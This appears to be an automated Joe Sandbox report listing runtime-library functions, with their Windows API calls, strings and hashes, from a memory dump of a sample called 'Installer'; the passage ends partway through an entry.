Function 00361287 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0035C16A: GetLastError.KERNEL32(?,?,00355495,00378E38,0000000C), ref: 0035C16E
Part of subcall function 0035C16A: SetLastError.KERNEL32(00000000), ref: 0035C210

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 0036138F
IsValidCodePage.KERNEL32(00000000), ref: 003613CD
IsValidLocale.KERNEL32(?,00000001), ref: 003613E0
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00361428
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00361443

Strings

,K7, xrefs: 0036133C

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: ,K7
API String ID: 415426439-1697011031
Opcode ID: 23504dfc4e933c69730e0f5e92233b4a1b2a0716b6130f3ba639b71e2626cbc7
Instruction ID: c32a4522b7336582df8ba3b5243482cd12176ad5297fe9fc78d10fb8d6e83ebd
Opcode Fuzzy Hash: 23504dfc4e933c69730e0f5e92233b4a1b2a0716b6130f3ba639b71e2626cbc7
Instruction Fuzzy Hash: 44517072A10605AFDB23DFA5CC45EBE77B8EF05700F198469F905EB194EB709A44CB60

Function 00367792 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 003679A9

Strings

1#QNAN, xrefs: 003678A5
1#INF, xrefs: 003678C8
1#IND, xrefs: 00367897
1#SNAN, xrefs: 0036789E

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: bd180fe2becad37b3b9bbbae10df5dab0290f65977afa914f3cdd857468d12f5
Instruction ID: 68c879eb25a54110ff89f2ded94ba24dd598ea910a7fce6f7cc88bb04180cf15
Opcode Fuzzy Hash: bd180fe2becad37b3b9bbbae10df5dab0290f65977afa914f3cdd857468d12f5
Instruction Fuzzy Hash: 6AD24E71E082288FDB66CF24DC44BEAB7B5EB48305F1586EAD40DE7244DB74AE858F41

Function 00361A07 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,003613BD,00000002,00000000,?,?,?,003613BD,?,00000000), ref: 00361AA0
GetLocaleInfoW.KERNEL32(?,20001004,003613BD,00000002,00000000,?,?,?,003613BD,?,00000000), ref: 00361AC9
GetACP.KERNEL32(?,?,003613BD,?,00000000), ref: 00361ADE

Strings

OCP, xrefs: 00361A5B
ACP, xrefs: 00361A25

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ad050d7c7e22fa45425f15a238b0fc6c58c8b1216243c944c4516d9fb28e9408
Instruction ID: 2ea98b674b87bdf1db4fa5ce46ef860c48b9a2afc83c2a117bc9dacec4f631cf
Opcode Fuzzy Hash: ad050d7c7e22fa45425f15a238b0fc6c58c8b1216243c944c4516d9fb28e9408
Instruction Fuzzy Hash: 84218622B02101ABD737CFE5C901A9772BAEB54B54B5FC564E90ADB20CE732DD40D350

Function 00359CC0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction ID: ca032691a71f72c14cc1531e28e5ac15cbca6907ad26b225a267cf54a867a23a
Opcode Fuzzy Hash: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction Fuzzy Hash: A4024D71E006199BDF15CFA8C880BAEBBF1FF48315F25826AD915E7390D731AA05CB90

Function 0034F8E9 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0034F8F5
IsDebuggerPresent.KERNEL32 ref: 0034F9C1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0034F9DA
UnhandledExceptionFilter.KERNEL32(?), ref: 0034F9E4

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 0c645a0111b18e338bafa2cee1cecd391fa6e923b8ea3da3f12171da7f50bec8
Instruction ID: 138bf7a91a1b20c4f867558ebdda8feab40f320dd9812732851e6fe31b3834a4
Opcode Fuzzy Hash: 0c645a0111b18e338bafa2cee1cecd391fa6e923b8ea3da3f12171da7f50bec8
Instruction Fuzzy Hash: 7A31D775D052199BDF22DFA5D949BCDBBF8AF08300F1041AAE40DAB250EB719A848F45

Function 00361580 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0035C16A: GetLastError.KERNEL32(?,?,00355495,00378E38,0000000C), ref: 0035C16E
Part of subcall function 0035C16A: SetLastError.KERNEL32(00000000), ref: 0035C210

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003615D4
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0036161E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003616E4

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 2bba436f0dcdae3cce946fc537dc2ca249dbecfad6e922fa8342c3839e0edbfe
Instruction ID: b583f89e42aa7aa209f33d818afbb341140c27d6e6929f9c6582cfb99a41d995
Opcode Fuzzy Hash: 2bba436f0dcdae3cce946fc537dc2ca249dbecfad6e922fa8342c3839e0edbfe
Instruction Fuzzy Hash: 4061D2719102079FDB2A9F24CC82BBA77B8EF14701F2981B9ED05CB589E734D994DB50

Function 00357E30 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00357F28
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00357F32
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 00357F3F

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: ca403ceeb616511b4ca8952af1ac2e6d533dee77bddd1ecf5e7d17df049ac25c
Instruction ID: 72f26331597c6123a2b9fe4f5076a867911e0465513341e6c127f91c46e633f3
Opcode Fuzzy Hash: ca403ceeb616511b4ca8952af1ac2e6d533dee77bddd1ecf5e7d17df049ac25c
Instruction Fuzzy Hash: 6131C77491121C9BCB22DF64DC89B8DBBB8BF08311F5041EAE80DAB261E7709F858F45

Function 003500B4 Relevance: 3.0, APIs: 2, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32 ref: 003500EC
GetSystemTimeAsFileTime.KERNEL32(?,C82EE5EC,00348E30,?,0036BE77,000000FF,?,0034FDB4,?,00000000,00000000,?,0034FDD8,?,00348E30,?), ref: 003500F0

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: 1a9c0d5cacb4e7278b41ea325a4a754547a34ca3e65e456224b521d9f347aa15
Instruction ID: 8fafe73069523df2e1bf02fa8f1dcf64ec4dbd3399955702cdf96d1f02155d09
Opcode Fuzzy Hash: 1a9c0d5cacb4e7278b41ea325a4a754547a34ca3e65e456224b521d9f347aa15
Instruction Fuzzy Hash: B3F06532A48A58EFC7279F44DC05F9EB7ACF708B10F01412AED16937A0DB35A940DB80

Function 00353FB2 Relevance: 2.8, Strings: 2, Instructions: 318COMMON

Download Yara Rule

Strings

(=5, xrefs: 003542D6, 00354278, 0035421A, 0035419B
0, xrefs: 00354136

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID:
String ID: (=5$0
API String ID: 0-3225634261
Opcode ID: 978de0283461ef0397d6b3052a00d1e9e56e004519a4b6a549fa391ba8d049ce
Instruction ID: 8b275c90efd49c89426d573c5ee53f8f470c6b08740a1d02cf98e7ebaf1c7566
Opcode Fuzzy Hash: 978de0283461ef0397d6b3052a00d1e9e56e004519a4b6a549fa391ba8d049ce
Instruction Fuzzy Hash: 33B1F83090061A8BCB2ECE68C555EBEB7B5AF0430AF25461DEE52976B0C7319ACDCB41

Function 00365C5E Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00365BB9,?,?,00000008,?,?,0036BCAB,00000000), ref: 00365E8B

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 664f0ec06631e01df631379644eac91f919c1c9ee952985b76dac37016305c5f
Instruction ID: 482b9925fd2e971110136e76012bdd3f16f093fcb398b01bc74a7b53d3fbb21c
Opcode Fuzzy Hash: 664f0ec06631e01df631379644eac91f919c1c9ee952985b76dac37016305c5f
Instruction Fuzzy Hash: 28B12A31510A09DFDB16CF28C48AB657BE0FF45364F2AC668E899CF2A5C735E991CB40

Function 0034F555 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0034F56B

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 7e2ff42586b9c5c6f260805d9a8f210f33aeb18d77515112e1827fd7bedd9105
Instruction ID: 73c3e841fff5b50e225b2825cd434b280751fb05199c054c1fd127fced18b6d6
Opcode Fuzzy Hash: 7e2ff42586b9c5c6f260805d9a8f210f33aeb18d77515112e1827fd7bedd9105
Instruction Fuzzy Hash: FFA19DB29107199FDB2ACF54D885799FBF9FB48364F29812ED419EB260C334A980CF50

Function 00361840 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0035C16A: GetLastError.KERNEL32(?,?,00355495,00378E38,0000000C), ref: 0035C16E
Part of subcall function 0035C16A: SetLastError.KERNEL32(00000000), ref: 0035C210

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00361894

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 728e6dd89a433faf345152fc423d63c88f5ed6d1aa2b03d54d44c0432089f24c
Instruction ID: 6b49340724f83314cadf05b0e1d97bda3564117a8eda287cee7190b54754aa5f
Opcode Fuzzy Hash: 728e6dd89a433faf345152fc423d63c88f5ed6d1aa2b03d54d44c0432089f24c
Instruction Fuzzy Hash: 4421F232610206AFDB2A9B25CC42EBA33ACEF04715F14807AFD02CB155EB34ED44DB50

Function 003614D8 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0035C16A: GetLastError.KERNEL32(?,?,00355495,00378E38,0000000C), ref: 0035C16E
Part of subcall function 0035C16A: SetLastError.KERNEL32(00000000), ref: 0035C210

EnumSystemLocalesW.KERNEL32(00361580,00000001,00000000,?,-00000050,?,00361363,00000000,-00000002,00000000,?,00000055,?), ref: 0036154A

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: ffb39d3e248f360fc41c2096e292891a1aea2c8d683eec68f22f3365bc825005
Instruction ID: 7bdf9048343b20015790f3b6ec1b58f602004e63e9e79cb5c9178405c69d9547
Opcode Fuzzy Hash: ffb39d3e248f360fc41c2096e292891a1aea2c8d683eec68f22f3365bc825005
Instruction Fuzzy Hash: 33110C372007055FDB199F39C8916BAB7A1FFC0758B19842DEA4787B40E771B942C740

Function 00361960 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0035C16A: GetLastError.KERNEL32(?,?,00355495,00378E38,0000000C), ref: 0035C16E
Part of subcall function 0035C16A: SetLastError.KERNEL32(00000000), ref: 0035C210

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003619B4

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 29ce84442e4dc416c9d8c5974797f0c863784bdf5f53a5327b02055e9d17b84a
Instruction ID: 4b8d1af0b929fafc5ae2ce0c3e53b0a7a4967cb321ed016a24b1c9435cdce569
Opcode Fuzzy Hash: 29ce84442e4dc416c9d8c5974797f0c863784bdf5f53a5327b02055e9d17b84a
Instruction Fuzzy Hash: 45110232610206ABDB26AF68CC12EBB77ECEF05714B14817AF902DB141EB38ED449790

Function 00361B0D Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0035C16A: GetLastError.KERNEL32(?,?,00355495,00378E38,0000000C), ref: 0035C16E
Part of subcall function 0035C16A: SetLastError.KERNEL32(00000000), ref: 0035C210

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0036179C,00000000,00000000,?), ref: 00361B39

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: b63ef82c98fbe41100e6abf8e88027670223638db17d1b31861541fe065eb0d0
Instruction ID: b25a90fa6b5169d45daebb15954122ab3d08cc24c61818eb5bb7738b26e52a69
Opcode Fuzzy Hash: b63ef82c98fbe41100e6abf8e88027670223638db17d1b31861541fe065eb0d0
Instruction Fuzzy Hash: 3101F933710112ABDB295B658C0AAFA3768EF40754F19C468ED06A7688FB70FE41C790

Function 003617D3 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0035C16A: GetLastError.KERNEL32(?,?,00355495,00378E38,0000000C), ref: 0035C16E
Part of subcall function 0035C16A: SetLastError.KERNEL32(00000000), ref: 0035C210

EnumSystemLocalesW.KERNEL32(00361840,00000001,?,?,-00000050,?,0036132B,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 0036181D

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 2da75450bbafa402af26dd20958f2c1fadb94864651bb77b3b4d2489a53c18c7
Instruction ID: dbccfc4e2c720efd23bfac482c63c2eb3649b3fcdcedab90b4e3120ebc3fc3f0
Opcode Fuzzy Hash: 2da75450bbafa402af26dd20958f2c1fadb94864651bb77b3b4d2489a53c18c7
Instruction Fuzzy Hash: 52F0F6362003045FDB265F79DC81A7A7B95EF80768F19C42CF9458B690D6B19C42C750

Function 0035D1BD Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003580E1: EnterCriticalSection.KERNEL32(?,?,0035C5F8,?,00379290,00000008,0035C4EA,?,?,?), ref: 003580F0

EnumSystemLocalesW.KERNEL32(0035D1B0,00000001,00379310,0000000C,0035CB11,-00000050), ref: 0035D1F5

Memory Dump Source

